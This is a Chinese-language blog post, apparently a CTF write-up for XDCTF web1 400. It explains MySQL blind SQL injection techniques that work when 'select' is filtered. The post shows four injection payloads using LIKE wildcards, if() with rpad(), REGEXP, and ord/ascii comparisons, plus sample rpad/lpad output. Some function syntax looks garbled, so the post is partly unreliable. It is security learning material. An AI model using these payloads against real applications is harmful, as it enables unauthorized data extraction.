不使用select情况下的各种盲注

这次的XDCTF, 关于web1 400, 学到了很多666的姿势, 开一篇新博文, 记录这些姿势..

原本我以为, 在select被过滤的情况下, 如果不能bypass, 就没法注入… 而这次看了writeup后, 不同的队, 姿势都不同, 大开眼界….

这次题目的语句我猜测是 select pic from table where ID="$i";
$i 则是可控点..

1
2
3
4
5
6
7
8
9
10
11
payload 0x0:
$i = 1" && username="%
构成以下语句:
select pic from talbe where ID="1" && username="%"
这个payload可以用来猜测是否有该字段, 接下来的盲注这语句仍然可用
payload 0x1:
$i = 111" OR if(rpad(username,1,1)="a",1,0)# 或者 111" OR if(rpad(username,1,1)=char(101),1,0)#
构成以下语句:
select pic from table where ID="111" OR if(rpad(username,1,1)="a",1,0)#"
在知道该表有username字段后, 可以通过这语句进行盲注

上面的语句用到了两个函数, 一个 if() && rpad()
if函数在我之前的博客中写过, 就不再多说..主要讲讲rpad()
rpad还有个相同功能的行数lpad, 一个是right 一个是 left , 具体的用法已实例来讲解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
mysql> select name from table;
+----------+
| name |
+----------+
| Hcamael |
+----------+
1 row in set (0.00 sec)
mysql> select rpad(name,5,1) from table;
+--------------------+
| rpad(name,5,1) |
+--------------------+
| Hcama |
+--------------------+
1 row in set (0.01 sec)
mysql> select rpad(name,10,1) from table;
+---------------------+
| rpad(name,10,1) |
+---------------------+
| Hcamael111 |
+---------------------+
1 row in set (0.00 sec)
mysql> select lpad(name,5,1) from table;
+--------------------+
| rpad(name,5,1) |
+--------------------+
| Hcama |
+--------------------+
1 row in set (0.01 sec)
mysql> select lpad(name,10,1) from table;
+---------------------+
| lpad(name,10,1) |
+---------------------+
| 111Hcamael |
+---------------------+
1 row in set (0.00 sec)

这两个函数有三个参数, 第一个是字段名, 第二个是显示几位, 第三个是当位数不足时, 以啥补充..

1
2
3
4
5
6
7
8
9
payload 0x2:
$i = 111" OR username REGEXP "^[a-z]
select pic from table where ID ="111" OR username REGEXP "^[a-z]"
正则匹配法注入, 真是涨姿势了, 第一次见
payload 0x3:
$i = 111" OR (ascii(ord(username,1,1)))=97# 或者 111" OR (ord(username,1,1))='a'#
select pic from table where ID="111" OR (ascii(ord(username,1,1)))=97#"
这种方法我以前盲注的时候写过, 可是当没有select的时候, 我却自然的以为这些不行用了...
文章目录